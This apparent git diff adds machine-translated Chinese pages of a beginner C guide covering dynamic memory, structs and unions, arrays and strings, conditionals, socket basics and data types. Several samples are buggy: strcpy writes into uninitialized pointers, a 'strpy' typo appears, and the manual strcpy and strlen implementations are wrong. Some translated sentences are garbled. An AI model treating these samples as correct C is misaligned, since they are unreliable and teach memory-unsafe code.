+通常，变量在其范围被破坏时自动解除分配，从而释放它们正在使用的内存。 使用`malloc`手动分配内存时，不会发生这种简单。 为了防止更复杂的程序中的内存泄漏，并且为了不在系统中创建垃圾，您必须在终止代码执行之前释放最近使用的内存区域。
+
+```C
+  free(arrayPointer); 
+```
+
+最后，您将确定需要检查`arrayPointer`值以防止使用`free`函数发生错误。 如果`arrayPointer`值等于`NULL`您可能已经过期了某种错误。
+
+## 其他功能类似于malloc
+
+有时您不仅需要为操作保留新的内存区域，还可能需要将所有字节初始化为零。 这就是`calloc`的用途。 在其他情况下，您希望调整指针指向的内存量。例如，如果您的指针充当大小为`n`的数组，并且您想将其更改为大小为`m`的数组，则可以使用`realloc` 。
+
+```C
+  int *arr = malloc(2 * sizeof(int)); 
+  arr[0] = 1; 
+  arr[1] = 2; 
+  arr = realloc(arr, 3 * sizeof(int)); 
+  arr[2] = 3; 
+```
+
+## 常见错误
+
+如前所述，动态内存分配的不当使用常常会成为错误的根源。 最常见的错误是：
+
+*   不检查分配失败 内存分配不能保证成功，而是可以返回空指针。 使用返回的值，而不检查分配是否成功，调用未定义的行为。这通常会导致崩溃（由于空指针取消引用导致的分段错误），但不能保证会发生崩溃，因此依赖于此也会导致问题。
+*   内存泄漏 未能使用`free`释放内存会导致不可重用的内存堆积，程序不再使用该内存。
+*   逻辑错误 所有分配必须遵循相同的模式：使用`malloc`分配，使用存储数据，使用`free`进行`free` 。如果你不遵循这种模式，通常会给出分段错误错误，程序将崩溃。这些错误可能是暂时的并且难以调试 - 例如，释放的内存通常不会被系统立即回收，并且悬空指针可能会持续一段时间并且似乎可以正常工作。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/Structured data types/index.md b/client/src/guide/chinese/c/Structured data types/index.md
new file mode 100644
index 0000000000..28b88b19ba
--- /dev/null
+++ b/client/src/guide/chinese/c/Structured data types/index.md	
@@ -0,0 +1,89 @@
+---
+title: Structured data types
+localeTitle: 结构化数据类型
+---
+# C中的结构化数据类型
+
+在编程过程中，您可能会觉得需要定义自己的数据类型。在C中，这是使用两个关键字完成的： `struct`和`typedef` 。 结构和联合将使您有机会将非同质数据类型存储到单个集合中。
+
+## 声明一种新的数据类型
+
+```C
+typedef struct student_structure{ 
+    char* name; 
+    char* surname; 
+    int year_of_birth; 
+ }student; 
+```
+
+在这个小代码之后， `student`将成为一个新的保留关键字，您将能够创建`student`类型的变量。 请注意，这种新类型的变量将被构造，这意味着定义一个物理分组的变量列表，这些变量列表将放在一个内存块中的一个名称下。
+
+## 新数据类型用法
+
+现在让我们创建一个新的`student`变量并初始化它的属性：
+
+```C
+   student stu; 
+ 
+   strcpy( stu.name, "John"); 
+   strcpy( stu.surname, "Snow"); 
+   stu.year_of_birth = 1990; 
+ 
+   printf( "Student name : %s\n", stu.name); 
+   printf( "Student surname : %s\n", stu.surname); 
+   printf( "Student year of birth : %d\n", stu.year_of_birth); 
+```
+
+正如您在此示例中所看到的，您需要为新数据类型中包含的所有变量赋值。 要访问结构变量，您可以使用`stu.name`的点。 还有一种更短的方法可以为结构赋值：
+
+```C
+typedef struct{ 
+   int    x; 
+   int    y; 
+ }point; 
+ 
+ point image_dimension = {640,480}; 
+```
+
+或者，如果您希望按照不同的顺序设置它的值：
+
+```C
+point img_dim = { .y = 480, .x = 640 }; 
+```
+
+## 工会与结构
+
+联合声明与结构相同，但不同，因为联盟中只能使用一个项目。
+
+```C
+typedef union{ 
+      int circle; 
+      int triangle; 
+      int ovel; 
+ }shape; 
+```
+
+在这种情况下，您应该使用`union` ，只应用一个条件，并且只使用一个变量。 请不要忘记我们也可以使用我们全新的数据类型：
+
+```C
+typedef struct{ 
+      char* model; 
+      int year; 
+ }car_type; 
+ 
+ typedef struct{ 
+      char* owner; 
+      int weight; 
+ }truck_type; 
+ 
+ typedef union{ 
+  car_type car; 
+  truck_type truck; 
+ }vehicle; 
+```
+
+## 还有一些技巧
+
+*   使用`&`运算符创建指向结构的指针时，可以使用特殊的`->`缀运算符来对其进行处理。例如，在C中使用链接列表时，这非常常用
+*   新定义的类型可以像几乎所有的其他基本类型一样使用。例如，尝试创建一个类型为`student`的数组，并查看它是如何工作的。
+*   结构可以复制或分配，但你无法比较它们！
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/appendix/index.md b/client/src/guide/chinese/c/appendix/index.md
new file mode 100644
index 0000000000..fa5823d03e
--- /dev/null
+++ b/client/src/guide/chinese/c/appendix/index.md
@@ -0,0 +1,75 @@
+---
+title: Appendix
+localeTitle: 附录
+---
+# C：附录
+
+因为C是一种低级语言，所以很多术语都出现在很多其他语言中。这是一个更容易理解它们的附录。
+
+## 汇编
+
+编译是获取人类可读代码并将其转换为机器可读代码的过程。此过程由编译器执行。
+
+## 编译器
+
+编译器是一个编译代码的程序，意味着它将它从人类可读的东西变成机器可读的东西。
+
+## 调试器/调试
+
+调试是从代码中删除错误（“错误”）的过程。调试器是一个有用的工具，使这更容易。
+
+## GNU + Linux的
+
+GNU + Linux在技术上是准确的术语，通常被称为“Linux”。 Linux是一个内核 - 它是一组允许软件与硬件交互的程序。当与GNU结合使用时，它就变成了一个操作系统，允许一个人与它进行交互。
+
+## GUI
+
+图形用户界面。 GUI将允许您通过指向和单击而不必键入命令来与程序交互。
+
+## 头文件
+
+头文件是包含在其他源文件中定义的函数声明的文件。这些通常“包含”在源文件的顶部。
+
+## IDE
+
+综合发展环境。这主要是一个编辑器，但包括检查语法，格式化代码样式，编译和调试程序的工具，这使得编写代码更容易。
+
+## 人类可读
+
+人类可读的代码是一个人可以读取的代码 - 它不是二进制代码或机器代码。
+
+## 图书馆
+
+库是一组有用的代码，可以在语言中提供更多功能和特性。
+
+## 链接
+
+一种软件，它将多个Object文件（通常是库的源代码编译）组合成一个可执行文件。
+
+## 低级语言
+
+低级编程语言包含二进制或汇编代码，它几乎没有机器级指令的抽象。
+
+## 机器代码
+
+机器代码是机器可以理解的代码。请记住，计算机使用数字而不是英语来运行。
+
+## 新队
+
+换行符是在输入时打印的换行符，是空格字符的示例。您还可以通过在print语句中包含'\\ n'来为程序输出添加换行符。
+
+## 对象文件
+
+包含对象代码（机器代码）的文件。该文件包含输出一些编译，这意味着它将包含机器代码/汇编代码。
+
+## 链接
+
+一种实用程序，能够获取目标文件并创建可执行文件，库文件或其他目标文件。 Linker的另一个名字是'Loader'。
+
+## 指针
+
+指针是包含另一个变量的内存地址的变量。数组，结构和函数显式使用指针，这些指针可以帮助生成高效且易于阅读的代码。
+
+## 空白
+
+空格是您在键入时看不到的字符，但无论如何都在那里。例如，你看不到空格，但这里有很多。换行符也是空白字符，标签也是如此。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/arrays-and-strings/index.md b/client/src/guide/chinese/c/arrays-and-strings/index.md
new file mode 100644
index 0000000000..c90b8aeac1
--- /dev/null
+++ b/client/src/guide/chinese/c/arrays-and-strings/index.md
@@ -0,0 +1,199 @@
+---
+title: Arrays and Strings
+localeTitle: 数组和字符串
+---
+# C中的数组
+
+数组允许将一组变量组合在一起作为一个变量。这本身很有用，但也因为字符串属于这一类。字符串是我们在计算机语言中表示单词和句子的方式，它们只是字符变量的集合。因此，我们使用C中的数组表示字符串。
+
+## 制作一个数组
+
+正常的整数变量将被声明为：
+
+```C
+int my_variable; 
+```
+
+要将此声明为数组，并使其成为5个整数的数组，可以将其声明为：
+
+```C
+int my_array[5]; 
+```
+
+这将生成一个名为`my_array`的数组，它可以容纳5个整数。但是，尚未设置阵列中的任何位置。您可以声明数组，并在开头设置值：
+
+```C
+int my_array[] = {1, 5, 3, 6, 2}; 
+```
+
+请注意，在此示例中，我们没有在方括号中指定数字。这是因为花括号中包含的值将分配给数组中的每个位置。你可以在括号中放一个数字，只要你确保创建足够的内存位置来存储你传入的值。
+
+初始化数组时，可以提供比数组元素更少的值。例如， 以下语句仅初始化my\_array的前两个元素：
+
+float my\_array \[5\] = {5.0,2.5};
+
+如果部分初始化数组，编译器会将其余元素设置为零。
+
+现在已经使用5个值声明了数组，它有5个内存位置。考虑一下这个表的可视化示例：
+
+|职位| 0 | 1 | 2 | 3 | 4 | | ---------- | --- | --- | --- | --- | --- | |价值| 1 | 5 | 3 | 6 | 2 |
+
+请注意，即使有5个内存位置，数组位置也只能达到4.这是因为C（和大多数其他语言）中的数组从0开始，因为数组是使用指针实现的。当您调用数组中的某个位置时，您实际上是在调用该内存位置加上一定数字。要获取数组的开头，请在内存中移动0个位置，然后在该位置移动位置，在内存中移动一个位置，依此类推。
+
+这是在位置1将数组设置为9的示例：
+
+```C
+my_array[1] = 9; 
+```
+
+所以它就像任何其他变量一样，除了它有多个值可以使用方括号内的数字进行访问。也可以通过这种方式返回值：
+
+```C
+int variable = my_array[4]; 
+```
+
+这将声明`variable`为一个等于`my_array`位置4的值的整数。但是，因为`variable`是单个`int`而不是数组，所以这**不是**具有正确结果的代码：
+
+```C
+// This code will NOT work properly! 
+ int variable = my_array; 
+```
+
+可以将任何整数放在方括号中以获得数组中的位置。那些整数也可以是变量。看一下这个打印数组内容的例子：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_array[] = {1, 1, 2, 3, 5, 7, 12}; 
+ 
+    for(int count = 0; count < 7; count++) { 
+        printf("%i, \n", my_array[count]); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+## 字符串
+
+数组是变量集，字符串是字符集。因此，我们可以用数组表示字符串。您_可以_像以前一样声明某些内容，但是您需要将'\\ 0'作为您的一个值（稍后会详细介绍！）：
+
+```C
+char hello_world[] = {'H', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd', '!', '\0'}; 
+```
+
+让人惊讶。这不是一个很好的解决方案。值得庆幸的是，C提供了一种更好的方式来记住字符串：
+
+```C
+char hello_world[] = "Hello world!"; 
+```
+
+那更好。它甚至不需要你将'\\ 0'放在最后。那是什么？
+
+### 空终止
+
+C中的字符串以空值终止，这意味着它们以空字符结尾。这样，编译器（以及您和其他人的代码）将知道字符串结束的位置：一旦字符为空，字符串就结束了。
+
+当然，键盘上没有“空”按钮，但您仍然需要以某种方式输入它。这就是\\ 0的作用。只要C编译器看到\\ 0，它就会插入一个空字符。就像\\ n打印换行符一样。
+
+### 印刷字符串
+
+C对我们来说更容易的另一件事是打印字符串。您可以只使用％s格式说明符，而不是强制您打印出数组中的每个字符，而是像处理任何`int`或`double`值一样处理字符串。这是一个从最开始的hello，world程序的例子，用字符串稍微复杂一点：
+
+```C
+#include <stdio.h> 
+ 
+ int main(void) { 
+    char hello_world[] = "Hello, World!\n"; 
+    printf("%s", hello_world); 
+ 
+    return 0; 
+ } 
+```
+
+### 玩字符串
+
+打印字符串很简单，但其他操作稍微复杂一些。值得庆幸的是， `string.h`库有一些有用的功能可用于许多情况。
+
+#### 复制： `strcpy`
+
+`strcpy` （来自'string copy'）复制一个字符串。例如，该代码段将复制字符串的内容`second`到字符串`first` ：
+
+```C
+strpy(first, second); 
+```
+
+以下是strcpy函数的手动实现的示例：
+
+void copy _string（char \[\] first_ string，char \[\] second\_string） { int i;
+```
+for(i = 0; first_string[i] != '\0'; i++) 
+ { 
+    first_string[i] = second_string[i]; 
+ } 
+```
+
+}
+
+#### 连接： `strcat`
+
+`strcat` （来自'string concatenate'）将连接一个字符串，这意味着它将获取一个字符串的内容并将其放在另一个字符串的末尾。在此示例中， `second`内容将连接到`first` ：
+
+```C
+strcat(first, second); 
+```
+
+以下是fuction strcat的手动实现示例：
+
+void string\_concatenate（char \[\] s1，char \[\] s2） { int i = strlen（s1），j; for（int j = 0; s2 \[j\]; j ++，i + = 1） { s1 \[i\] = s2 \[j\]; } }
+
+#### 得到长度： `strlen`
+
+`strlen` （来自'string length'）将返回一个对应于字符串长度的整数值。在这个例子中，一个名为`string_length`的整数将被赋予`my_string`的长度：
+
+```C
+string_length = strlen(my_string); 
+```
+
+这是一个功能strlen的手动实现：
+
+int string\_length（char \[\] string） { int i;
+```
+for(int i = 0; string[i]; i++); 
+ 
+ return i; 
+```
+
+}
+
+#### 比较： `strcmp`
+
+`strcmp` （来自'string compare'）比较两个字符串。如果它们相同则返回的整数值为0，但如果第一个值（通过累加字符）小于第二个值，它也将返回负值，如果第一个值大于第二个值，则返回正值。看一下如何使用它的示例：
+
+```C
+if(!strcmp(first, second)){ 
+    printf("These strings are the same!\n"); 
+ } else { 
+    printf("These strings are not the same!\n"); 
+ } 
+```
+
+注意`!` ，这是必需的，因为如果它们相同，则此函数返回0。在此处放置感叹号将使该比较返回true。
+
+#### 拆分字符串： `strtok`
+
+`strtok` （来自'string token'）使用分隔符将字符串分解为一系列标记。在此示例中，strtok使用分隔符delim将string str分解为一系列标记：
+
+```C
+char *strtok(char *str, const char *delim); 
+```
+
+# 在你继续之前......
+
+## 回顾
+
+*   数组是变量的集合。
+*   数组具有可以用括号声明的单独位置，并使用方括号进行访问。
+*   字符串也是数组，但我们可以稍微区别对待它们：它们可以使用双引号声明，并使用％s打印。
+*   字符串有自己的库`string.h` ，它有一些方便的函数可供使用。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/arrays/index.md b/client/src/guide/chinese/c/arrays/index.md
new file mode 100644
index 0000000000..9929e06e58
--- /dev/null
+++ b/client/src/guide/chinese/c/arrays/index.md
@@ -0,0 +1,197 @@
+---
+title: Arrays
+localeTitle: 数组
+---
+# C中的数组
+
+## 问题
+
+在尝试解释什么是数组之前，让我们看看我们想要以相反的顺序打印用户给出的10个数字的代码。
+
+```C
+#include <stdio.h> 
+ int main(void) { 
+    int a, b, c, d, e, f, g, i, j, k; 
+    scanf("%d", &a); 
+    scanf("%d", &b); 
+    ... 
+    printf("%d", k); 
+    printf("%d", j); 
+    printf("%d", i); 
+    ... //and so on.. 
+ 
+    return 0; 
+ } 
+```
+
+所以，这看起来有点单调乏味。 到目前为止，每个变量都有一些特殊的作用。但是现在，如果我们可以在一个地方存储多个值并且可以访问它们在行中的位置（第一个值，第二个等），那将是很好的。另一种看待这种情况的方法是，假设您要存储一组名称，不需要为每个名称创建不同的变量，而是可以创建一个名称数组，其中每个名称都有其唯一的标识或_索引_ 。另外，我们可以在它们上面使用循环，这些是你稍后会学到的东西，但基本上它们会一遍又一遍地做同样的事情。 例如。从用户读取或打印出值。
+
+## C中的数组
+
+数组是具有给定大小的容器。它们包含**相同类型的**变量。您可以使用其_索引_访问存储在数组中的变量。 我们来看一些代码：
+
+```C
+#include <stdio.h> 
+ int main(void) { 
+    int arr[4] = {1, 2, 3, 88}; 
+    int brr[] = {78, 65}; 
+    int crr[100] = {3}; 
+ 
+    int var = arr[0]; 
+ 
+    return 0; 
+ } 
+```
+
+现在让我们打破一下语法：
+
+```C
+int arr[4] = {1, 2, 3, 88}; 
+```
+
+在这里，您创建了一个名为`arr`的`ints` （整数） `array` 。该数组有4个要素： `1` ， `2` ， `3` ， `88` 。注意语法！
+
+```C
+datatype name[number of elements] 
+```
+
+这个数组的第一个元素是`1` ，第二个是`2`等。
+
+```C
+int brr[] = {78, 65}; 
+```
+
+您不必事先告诉维度。这里将使用大括号之间的元素创建两个数组。
+
+```C
+int crr[100] = {3}; 
+```
+
+如果你这样做，那么第一个元素将是`3` ，但其余的将是`0` 。
+
+```C
+int var = arr[0]; 
+```
+
+这里创建一个名为`var`的int，它被初始化为arr的第0个元素。 **非常重要的是要注意** ，在C中，索引从零开始而不是1.这意味着要访问第一个元素，索引（括号之间）为0，访问第二个元素，索引为1等。 在此示例中， `var`将存储值`1` 。
+
+## 概观
+
+*   一维数组就像一个列表;二维数组就像一张桌子;尽管具体实现可能，但C语言对数组中的维数没有限制。
+    
+*   有些文本将一维数组称为向量，将二维数组称为矩阵，并在维数未指定或不重要时使用通用术语数组。
+    
+
+## C中的多维数组
+
+C还支持多维数组。
+
+```C
+datatype name[size1][size2]...[sizeN] 
+```
+
+二维数组很常见，可以使用以下语法进行初始化。可以逻辑地将第一个索引视为行，将第二个索引视为列。此示例有2行5列。
+
+```C
+int arr[2][5] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}; 
+```
+
+使用上述语法可能难以可视化二维数组，因此开发人员通常使用可选的嵌套括号来阐明数组的结构。这也是初始化二维数组的有效方法。
+
+```C
+int arr[2][5] = { 
+    {0, 1, 2, 3, 4}, 
+    {5, 6, 7, 8, 9} 
+ }; 
+```
+
+两个嵌套的for循环可用于以表格格式打印二维数组的内容。
+
+```C
+#include <stdio.h> 
+ 
+ 
+ int main() { 
+    const int rows = 2, cols = 5; 
+ 
+    int arr[rows][cols] = { 
+            {0, 1, 2, 3, 4}, 
+            {5, 6, 7, 8, 9} 
+    }; 
+ 
+    for (int row = 0; row < rows; row++) { 
+        for (int col = 0; col < cols; col++) { 
+            printf("%5d", arr[row][col]); 
+        } 
+        puts(""); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+```C
+    0    1    2    3    4 
+    5    6    7    8    9 
+```
+
+## 字符串
+
+为了存储字符串/多个字符，我们在C中使用`char arrays` ，因为该语言没有内置的特殊类型。需要注意的一点是，终止空值会自动添加到结尾，表明它是结束字符串。但是，您也可以使用花括号`{}`初始化字符串，但您必须手动添加终止空值。
+
+像这样：
+
+```C
+char string[6] = "Hello"; //here you get Hello\0, which is why we need an array with the length of 6 
+```
+
+就像上面示例中的int数组一样，有几种方法可以为char数组赋值：
+
+```C
+char string[] = "I do not want to count the chars in this."; 
+ char string2[] = {'C','h','a','r',' ','b','y',' ','c','h','a','r','\0'}; 
+ char string3[] = "This is a string" 
+                 "with two lines"; 
+```
+
+相当于上面的方法，您还可以创建一个指向char数组的指针：
+
+```C
+char* string = "I do not want to count the chars in this."; 
+```
+
+## 典型的错误，提示
+
+*   当你有一个数组填充了值，并且你想创建一个与第一个数组完全相同的数组时，永远不要这样做：
+
+```C
+double first[] = {2,3,7}; 
+ double second[] = first; 
+ //Or this: 
+ double a[5], b[5] 
+ a = b; 
+```
+
+您**只能**逐个处理数组中的值。您**无法一次性分配所有内容** ，当您稍后了解指针时，原因将会很清楚。
+
+> （基本上，数组的第一个元素指向一个内存地址，之后的元素是第一个元素旁边的“房子”。所以从技术上讲，数组就是它的第一个元素的内存地址。当你想分配第二个元素时对第一个数组进行数组，由于类型不同而遇到错误，或者您正在尝试更改第二个数组中第一个元素的第二个内存地址。）
+
+*   如果要创建数组，则必须告诉其大小或为其指定值。不要这样做：
+
+```C
+int arr[]; 
+```
+
+计算机必须知道为阵列创建多大的存储空间。稍后，您将了解如何创建稍后定义大小的容器。 （再一次，指针。）
+
+*   当您从数组中索引时，编译器并不总是会给您一个错误。这称为未定义行为，我们只是不知道会发生什么。它可能导致程序崩溃，只是放慢速度，任何事情。
+
+```C
+int test[6]; 
+ int a = test[-2]; 
+ int b = test[89]; 
+```
+
+C不检查索引边界的原因很简单：C是一种有效的语言。它是成功的，所以你的程序是最快的：与硬件等很好地通信。一个编写得很好的C代码不包含索引错误，那么C为什么要在运行时检查呢？
+
+*   当您尝试访问数组的最后一个元素时。假设数组A的长度为4，并且在访问最后一个元素时为 A \[4\]将返回错误，因为索引从0开始。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/basic-networking/index.md b/client/src/guide/chinese/c/basic-networking/index.md
new file mode 100644
index 0000000000..e5a39a5cd9
--- /dev/null
+++ b/client/src/guide/chinese/c/basic-networking/index.md
@@ -0,0 +1,19 @@
+---
+title: Basic Networking
+localeTitle: 基础网络
+---
+## 基础网络
+
+C中的基本网络主要涉及打开套接字并通过它们进行通信。这引出了一个问题，什么是Socket？
+
+## 什么是套接字
+
+套接字是网络上运行的两个程序之间的双向通信链路的一个端点。端点是IP地址和端口号的组合。套接字绑定到端口号，以便TCP层可以标识要发送到的数据的应用程序。
+
+当程序在网络上运行时，可以从本地位置以外的其他位置进行访问。在不同的位置，我的意思是同一网络上的所有计算机都可以访问它。但是，他们将如何？因此，每个程序都使用端口号注册自己。将港口号码视为大型公寓中的公寓号码。如果寄信给公寓，公寓号码会告诉邮局他应去的具体公寓。
+
+但是，它将如何到达公寓？每个公寓都有自己独特的地址，邮局查看那些唯一的地址（实际上是一个字符串）并决定信件的目的地。在这种情况下，连接到网络的每台计算机都将拥有一个IP地址，就像通过邮局发送信件时使用的地址。同样，连接到网络的计算机需要知道同一网络上其他计算机的IP地址才能与它们通信。要与特定计算机上的特定程序通信，需要该程序的端口号。 （想想我们公寓里的公寓号码。）
+
+## 套接字编程基础知识
+
+套接字编程是一种连接网络上的两个节点以相互通信的方式。一个套接字（节点）侦听IP上的特定端口，而另一个套接字伸出另一个套接字以形成连接。当客户端到达服务器时，服务器形成侦听器套接字。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/conditional-statements/index.md b/client/src/guide/chinese/c/conditional-statements/index.md
new file mode 100644
index 0000000000..59188f8768
--- /dev/null
+++ b/client/src/guide/chinese/c/conditional-statements/index.md
@@ -0,0 +1,258 @@
+---
+title: Conditional Statements
+localeTitle: 条件陈述
+---
# C中的条件语句
+
+条件语句也称为分支语句。他们之所以这么称呼，是因为该计划选择跟随一个或另一个分支。
+
+## 如果声明
+
+这是条件语句的最简单形式。它由一个布尔表达式后跟一个或多个语句组成。如果布尔表达式的计算结果为**true** ，那么将执行'if'语句中的代码块。如果布尔表达式的计算结果为**false** ，那么将执行'if'语句结束后（在结束大括号之后）的第一组代码。
+
+C编程语言**_将任何非零和非空值假定为true_** ，如果它**_为零或null，则将其假定为false_**值。
+
+#### 句法
+
+```C
+if(boolean_expression) 
+ { 
+    //Block of Statements executed when boolean_expression is true 
+ } 
+```
+
+#### 例
+
+```C
+int a = 100; 
+ if(a < 200) 
+ { 
+    printf("a is less than 200\n" ); 
+ } 
+```
+
+#### 结果
+
+`a is less than 200`
+
+## 2.如果......其他声明
+
+如果布尔表达式的计算结果为**true** ，则执行if块，否则执行else块。
+
+#### 句法
+
+```C
+if(boolean_expression) 
+ { 
+    //Block of Statements executed when boolean_expression is true 
+ } 
+ else 
+ { 
+    //Block of Statements executed when boolean_expression is false 
+ } 
+```
+
+#### 例
+
+```C
+int a = 300; 
+ if(a < 200) 
+ { 
+    printf("a is less than 200\n" ); 
+ } 
+ else 
+ { 
+    printf("a is more than 200\n"); 
+ } 
+```
+
+#### 结果
+
+`a is more than 200`
+
+## 3\. if ... else if else注释
+
+当使用if ... else if..else语句时，要记住几点 -
+
+*   一个**if**可以有**0或者其他**的， **如果是的话** ，它**必须在其他任何地方之后** 。
+*   一个**if**可以**有零到多个，如果**是，他们**必须在其他之前** 。
+*   一旦**else**成功，其余的其他if或者其他都将被测试。
+
+#### 句法
+
+```C
+if(boolean_expression_1) 
+ { 
+    //Block of Statements executed when boolean_expression_1 is true 
+ } 
+ else if(boolean_expression_2) 
+ { 
+    //Block of Statements executed when boolean_expression_1 is false and boolean_expression_2 is true 
+ } 
+ else if(boolean_expression_3) 
+ { 
+    //Block of Statements executed when both boolean_expression_1 and boolean_expression_2 are false and boolean_expression_3 is true 
+ } 
+ else 
+ { 
+    //Block of Statements executed when all boolean_expression_1, boolean_expression_2 and boolean_expression_3 are false 
+ } 
+```
+
+#### 例
+
+```C
+int a = 300; 
+ if(a == 100) 
+ { 
+    printf("a is equal to 100\n" ); 
+ } 
+ else if(a == 200) 
+ { 
+    printf("a is equal to 200\n"); 
+ } 
+ else if(a == 300) 
+ { 
+    printf("a is equal to 300\n"); 
+ } 
+ else 
+ { 
+    printf("a is more than 300\n"); 
+ } 
+```
+
+#### 结果
+
+`a is equal to 300`
+
+## 4.嵌套if语句
+
+嵌套if-else语句在C编程中总是合法的，这意味着你可以在另一个if或else if语句中使用if或else if语句。
+
+#### 句法
+
+```C
+if(boolean_expression_1) 
+ { 
+    //Executed when boolean_expression_1 is true 
+    if(boolean_expression_2) 
+    { 
+      //Executed when both boolean_expression_1 and boolean_expression_2 are true 
+    } 
+ } 
+```
+
+#### 例
+
+```C
+int a = 100; 
+ int b = 200; 
+ if(a == 100) 
+ { 
+    printf("a is equal to 100\n" ); 
+    if(b == 200) 
+    { 
+        printf("b is equal to 200\n"); 
+    } 
+ } 
+```
+
+#### 结果
+
+```bash
+a is equal to 100 
+ b is equal to 200 
+```
+
+## 5\. Switch Case Statement
+
+如果... else（并非总是），switch语句通常比嵌套更快。此外，switch语句的语法更清晰，易于理解。
+
+### 开关盒的语法
+```
+switch (n) 
+ { 
+    case constant1: 
+        // code to be executed if n is equal to constant1; 
+        break; 
+ 
+    case constant2: 
+        // code to be executed if n is equal to constant2; 
+        break; 
+        . 
+        . 
+        . 
+    default: 
+        // code to be executed if n doesn't match any constant 
+ } 
+```
+
+当找到与switch表达式匹配的case常量时，程序的控制将传递给与该case相关联的代码块。
+
+在上面的伪代码中，假设n的值等于constant2。编译器将执行与case语句关联的代码块，直到switch块结束，或者直到遇到break语句。
+
+break语句用于防止代码进入下一种情况。
+
+### 例：
+```
+// Program to create a simple calculator 
+ // Performs addition, subtraction, multiplication or division depending the input from user 
+ 
+ # include <stdio.h> 
+ 
+ int main() 
+ { 
+ 
+    char operator; 
+    double firstNumber,secondNumber; 
+ 
+    printf("Enter an operator (+, -, *, /): "); 
+    scanf("%c", &operator); 
+ 
+    printf("Enter two operands: "); 
+    scanf("%lf %lf",&firstNumber, &secondNumber); 
+ 
+    switch(operator) 
+    { 
+        case '+': 
+            printf("%.1lf + %.1lf = %.1lf",firstNumber, secondNumber, firstNumber+secondNumber); 
+            break; 
+ 
+        case '-': 
+            printf("%.1lf - %.1lf = %.1lf",firstNumber, secondNumber, firstNumber-secondNumber); 
+            break; 
+ 
+        case '*': 
+            printf("%.1lf * %.1lf = %.1lf",firstNumber, secondNumber, firstNumber*secondNumber); 
+            break; 
+ 
+        case '/': 
+            printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/secondNumber); 
+            break; 
+ 
+        // operator is doesn't match any case constant (+, -, *, /) 
+        default: 
+            printf("Error! operator is not correct"); 
+    } 
+ 
+    return 0; 
+ } 
+```
+
+### 产量
+```
+Enter an operator (+, -, *,): - 
+ Enter two operands: 32.5 
+ 12.4 
+ 32.5 - 12.4 = 20.1 
+```
+
+用户输入的“ - ”运算符存储在运算符变量中。并且，两个操作数32.5和12.4分别存储在变量firstNumber和secondNumber中。
+
+然后，程序的控制跳转到
+```
+printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/firstNumber); 
+```
+
+最后，break语句结束switch语句。
+
+如果未使用break语句，则执行正确大小写之后的所有情况。
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/data-types/index.md b/client/src/guide/chinese/c/data-types/index.md
new file mode 100644
index 0000000000..52851ec036
--- /dev/null
+++ b/client/src/guide/chinese/c/data-types/index.md
@@ -0,0 +1,136 @@
+---
+title: Data Types in C
+localeTitle: C中的数据类型
+---
+# C中的数据类型
+
+在C中存储数据有几种不同的方式，它们彼此都是唯一的。可以存储信息的数据类型称为数据类型。与其他语言相比，C对数据类型的宽容度要低得多。因此，确保您了解现有数据类型，其能力和限制非常重要。
+
+C的数据类型的一个怪癖是它们完全依赖于您运行代码的硬件。您的笔记本电脑上的`int`将小于超级计算机上的`int` ，因此了解您正在处理的硬件的局限性非常重要。这也是数据类型定义为最小值的原因 - 正如您将了解的那样， `int`值至少为-32767到32767：在某些机器上，它将能够存储更多的值。
+
+我们可以将其分为两类：整数和浮点数。整数是整数。它们可以是正数，负数或零。像-321,497,19345和-976812这样的数字都是完全有效的整数，但4.5不是因为4.5不是整数。
+
+浮点数是带小数的数字。与整数一样，-321,497,19345和-976812都是有效的，但现在4.5,0.0004，-324.984和其他非整数也是有效的。
+
+C允许我们在数据类型的几个不同选项之间进行选择，因为它们都以不同的方式存储在计算机上。因此，重要的是要了解每种数据类型的能力和限制，以选择最合适的数据类型。
+
+## 整数数据类型
+
+#### 人物： `char`
+
+`char`包含字符，例如字母，标点符号和空格。在计算机中，字符存储为数字，因此`char`包含表示字符的整数值。实际的翻译由ASCII标准描述。 [这是](http://www.asciitable.com/)一个方便的查找表。
+
+与C中的所有其他数据类型一样，实际大小取决于您正在处理的硬件。至少，它至少是8位，因此您将至少有0到127.或者，您可以使用`signed char`来获得至少-128到127。
+
+#### 标准整数： `int`
+
+单个`int`占用的内存量取决于硬件。但是，您可以期望`int`大小至少为16位。这意味着它可以存储-32,768到32,767或更多的值，具体取决于硬件。
+
+与所有其他数据类型一样，可以使用`unsigned`变体。 `unsigned int`可以是正数和零但不是负数，因此它可以存储0到65,535或更多的值，具体取决于硬件。
+
+#### 短整数： `short`
+
+这不经常使用，但知道它存在是很好的。与int类似，它可以存储-32768到32767.然而，与int不同，这是它的能力范围。你可以使用`short`任何地方，你可以使用`int` 。
+
+#### 更长的整数： `long`
+
+`long`数据类型存储整数，如`int` ，但以更多内存为代价提供更广泛的值。长存储至少32位，其范围为-2,147,483,648到2,147,483,647。或者，使用`unsigned long`作为0到4,294,967,295的范围。
+
+#### 更长的整数： `long long`
+
+对于几乎每个应用程序来说， `long long`数据类型都是过度的，但无论如何C都会让你使用它。它能够存储至少-9,223,372,036,854,775,807至9,223,372,036,854,775,807。或者，使用`unsigned long long`获得更多的矫枉过正，这将给你至少0到18,446,744,073,709,551,615。
+
+## 浮点数数据类型
+
+#### 基本浮点数： `float`
+
+`float`至少需要32位来存储，但是从1.2E-38到3.4E + 38给出了6位小数。
+
+#### 双打： `double`
+
+`double`占用浮点数的两倍（所以至少64位）。作为回报，double可以提供从2.3E-308到1.7E + 308的15位小数。
+
+#### 获得更广泛的双打： `long double`
+
+`long double`至少需要80位。因此，我们可以从3.4E-4932到1.1E + 4932获得19位小数。
+
+## 选择正确的数据类型
+
+C选择数据类型，使我们对我们这样做的方式非常具体和有意。这为您提供了很多代码的强大功能，但选择正确的代码非常重要。
+
